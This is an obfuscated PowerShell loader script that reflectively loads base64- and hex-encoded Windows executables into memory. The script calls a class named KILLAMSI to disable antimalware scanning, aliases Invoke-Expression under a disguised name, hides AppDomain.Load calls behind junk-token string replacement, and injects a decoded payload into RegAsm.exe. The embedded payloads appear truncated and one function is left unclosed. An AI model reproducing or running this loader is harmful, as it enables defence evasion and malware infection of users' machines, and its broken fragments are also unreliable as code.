[void] [System.Reflection.Assembly]::LoadWithPartialName("Microsoft.VisualBasic")
$ytr="TV"
$iy="qQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAI+uLWEAAAAAAAAAAOAAAiELAQgAAGgAAAAGAAAAAAAASYcAAAAgAAAAoAAAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAADgAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAP+GAABKAAAAAKAAAHADAAAAAAAAAAAAAAAAAAAAAAAAAMAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAT2cAAAAgAAAAaAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAHADAAAAoAAAAAQAAABqAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAMAAAAACAAAAbgAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAvhwAAAAAAAEgAAAACAAUATFYAANAYAAABAAAAAAAAABxvAADjFwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABMwCAB7AAAAAQAAESsCJhYoPAAABig7AAAGLWMmGys8ACgVAAAGChgoOwAABiwtJgYsDRooOwAABi0hKx8AK0Z+AwAABCg0AAAGHCsPfgIAAAQoNAAABiskGwsHRQcAAACj////wP///7P///8AAAAA0P///6P///8IAAAAK74mFxct2CYAKgATMAgALAAAAAIAABErAiYWAA8AKAMAAAYPASgEAAAG0AEAABsoE
$iu=$ytr+$iy
$obj =@($iu)
$t=[system.Convert]
$dd=$t.GetMethod("FromBase64String")
$hgh=$dd.Invoke($null,$obj)
$ui80 = [Microsoft.VisualBasic.Interaction]::CallByname([AppDomain]::CurrentDomain,"Load",[Microsoft.VisualBasic.CallType]::Method,$hgh)
[KILLAMSI]::Main()
$CA=[char]73 + [char]69 + [char]88
sal NX $CA
[String]$GB='4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C01030086528A620000000000000000E00022010B010B0000BC01000008000000000000BEDB01000020000000E00100000040000020000000020000040000000000000004000000000000000020020000020000000000000200408500001000001000000000100000100000000000001000000000000000000000006CDB01004F00000000E001008605000000000000000000000000000000000000000002000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000C4BB01000020000000BC010000020000000000000000000000000000200000602E727372630000008605000000E001000006000000BE0100000000000000000000000000400000402E72656C6F6300000C000000000002000002000000C40100000000000000000000000000400000420000000000000000000
function JOO {
param($IT)
$IT = $IT -split '(..)' | ? { $_ }
ForEach ($RS in $IT){
[Convert]::ToInt32($RS,16)
[String]$JP='4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C0103000F7CAE610000000000000000E0000E210B01060000D0000000D4000000000000CAEE000000200000000001000000400000200000000200000400000000000000040000000000000000400100000200000000000003004085000010000010000000001000001000000000000010000000000000000000000070EE000057000000002001006403000000000000000000000000000000000000000001000C000000F09900001C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000D0CE00000020000000D0000000020000000000000000000000000000200000602E72656C6F6300000C000000000001000002000000D20000000000000000000000000000400000422E7273726300000064030000002001000004000000D4000000000000000000000000000040000040000000000000000000
[Byte[]]$RO=JOO $JP
$AE='[S{pin}y{pin}{pin}s{pin}te{pin}m.{pin}A{pin}p{pin}p{pin}{pin}Do{pin}{pin}ma{pin}{pin}i{pin}n]'.replace('{pin}','')|NX;$EU=$AE.GetMethod("get_CurrentDomain")
$SK='$EU.I{pin}n{pin}{pin}v{pin}{pin}o{pin}k{pin}e(${pin}n{pin}{pin}ul{pin}l,{pin}${pin}n{pin}{pin}l{pin}{pin}l)'.replace('{pin}','')| NX
$FR='$SK.L{pin}o{pin}{pin}a{pin}{pin}d($RO)'.Replace('{pin}','')
$FR| NX
[Byte[]]$GB2= JOO $GB
[Friday.Boya]::KG('RegAsm.exe',$GB2)